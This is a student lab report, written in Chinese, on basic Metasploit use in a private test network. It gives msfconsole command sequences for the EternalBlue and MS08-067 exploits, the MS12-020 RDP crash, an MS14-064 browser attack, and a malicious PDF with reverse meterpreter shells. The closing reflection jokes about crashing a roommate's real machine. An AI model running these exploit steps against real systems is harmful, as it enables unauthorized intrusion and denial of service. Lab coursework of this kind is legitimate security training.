2018-2019 网络对抗技术 20165231 Exp5 MSF基础应用
实践内容(3.5分)
本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:
1.1一个主动攻击实践(1分)
- ms08_067; (失败)
- MS17-010永恒之蓝(成功)
- MS12-20(比永恒之蓝更蓝的蓝屏)(本来以为唯一后来不唯一了)
1.2 一个针对浏览器的攻击(1分)
- ms14_064(成功)
1.3 一个针对客户端的攻击(1分)
- Adobe(成功)
1.4 成功应用任何一个辅助模块。(0.5分)
- 扫描查看靶机开放端口(唯一)
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。
实验过程
基础问题回答
(1)用自己的话解释什么是exploit,payload,encode.
任务一:一个主动攻击实践
漏洞MS08_067
关于漏洞MS08_067的原理
msfconsole
进入msf控制台
search ms08_067
查看该漏洞
use exploit/windows/smb/ms08_067_netapi
使用该漏洞
show payloads
回链攻击载荷
set LHOST 192.168.70.131 //攻击机的ip地址
set LPORT 5231 //攻击的端口
set RHOST 192.168.70.140 //靶机的ip地址
set target 0 //选择目标系统类型
exploit //进行攻击
关闭防火墙,改变安全策略,查看445端口状况,甚至改变winxp版本,由中文版改成英文版
很遗憾始终是只能检测出系统却无法生成有效的会话
ms17_010永恒之蓝
攻击方:kali 192.168.70.131
靶机:win7 192.168.70.130
输入msfconsole指令,打开控制台;
依次输入以下指令进行设置与攻击:
set payload windows/x64/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 192.168.70.131 //设置攻击方ip
set RHOST 192.168.70.130 //设置靶机ip
exploit
连接成功
尝试命令查看靶机ip
MS12-20
攻击机kali 192.168.70.131
靶机windows 7 192.168.70.130
用kali自带的的扫描工具nmap 查看靶机是否开启3389端口。(没开就把他打开!)
扫描之后发现3389是开放的,然后启动msfconsole, 利用里面的模块查看是否存在Ms12-020漏洞。
查询模块
set RHOST 192.168.70.130 //设置靶机地址
然后exploit
100%表示可以攻击
攻击模块
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids //加载攻击模块
set RHOST 192.168.70.130 //设置靶机地址
然后还是exploit
出现seems down说明靶机已经蓝上了!
![](./images/1555593169319.png)
![](./images/1555593133317.png)
一个针对浏览器的攻击
ms14_064
主机 kali 192.168.70.131
靶机 Windows XP SP3 192.168.70.141
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.70.131
set LPORT 2016
set URIPATH wyhy
然后exploit
开启监听,然后生成网址,将这个网址在靶机打开后攻击机就捕获了靶机,建立会话
一个针对客户端的攻击
Adobe
攻击方:kali 192.168.70.131
靶机:winxp 192.168.70.141
输入msfconsole指令,打开控制台;
依次输入以下指令进行设置
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set LHOST 192.168.70.131//攻击方IP
set LPORT 5231 //攻击方攻击端口
set FILENAME wyhy_exp5.pdf
![](./images/1555505808517.png)
在终端中,将生成的文件按照文件路径复制出来,并复制到靶机中
在kali中重新打开,并输入以下指令进行监听:
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set LHOST 192.168.70.131 //攻击方IP
set LPORT 5231 //攻击方攻击端口
exploit //监听
![](./images/1555511833285.png)
辅助模块
查看靶机端口
使用auxiliary/scanner/portscan/tcp
模块,用来扫描靶机的TCP端口使用情况;
执行命令use auxiliary/scanner/portscan/tcp
进入并使用模块;
show options
查看需要设置的参数信息,设置靶机的ip为RHOST
set PORT 1-5231
然后expolit
基础问题回答
- 用自己的话解释什么是exploit,payload,encode.
exploit
:英文翻译为利用,黑客就是利用漏洞对电脑进行攻击,有漏洞不一定可以利用,但可以利用的一定有漏洞。
payload
:有效载荷。通常在传输数据时,为了使数据传输更可靠,要把原始数据分批传输,并且在每一批数据的头和尾都加上一定的辅助信息,而其中的原始数据就是payload
encode
:编码器,用来给payload进行编码,保护payload不被发现
离实战还缺些什么技术或步骤?
实战?首先我们只能在自己的局域网内实现。对于外网,不在同一子网下的地址锁定无法实现就无法实战攻击,我觉得这是目前最大缺憾。
实验感想
这次我最喜欢的就是那个蓝屏漏洞,在CSDN上逛到的以为我是独一无二结果……不过还是觉得那个很好玩,起初想做这个是想搞一下正在打Apex的室友让他感受一下快要吃鸡蓝个屏,但是系统版本高了没啥用。后续我会继续利用更新的漏洞让室友感受吃不到鸡的乐趣o( ̄▽ ̄)o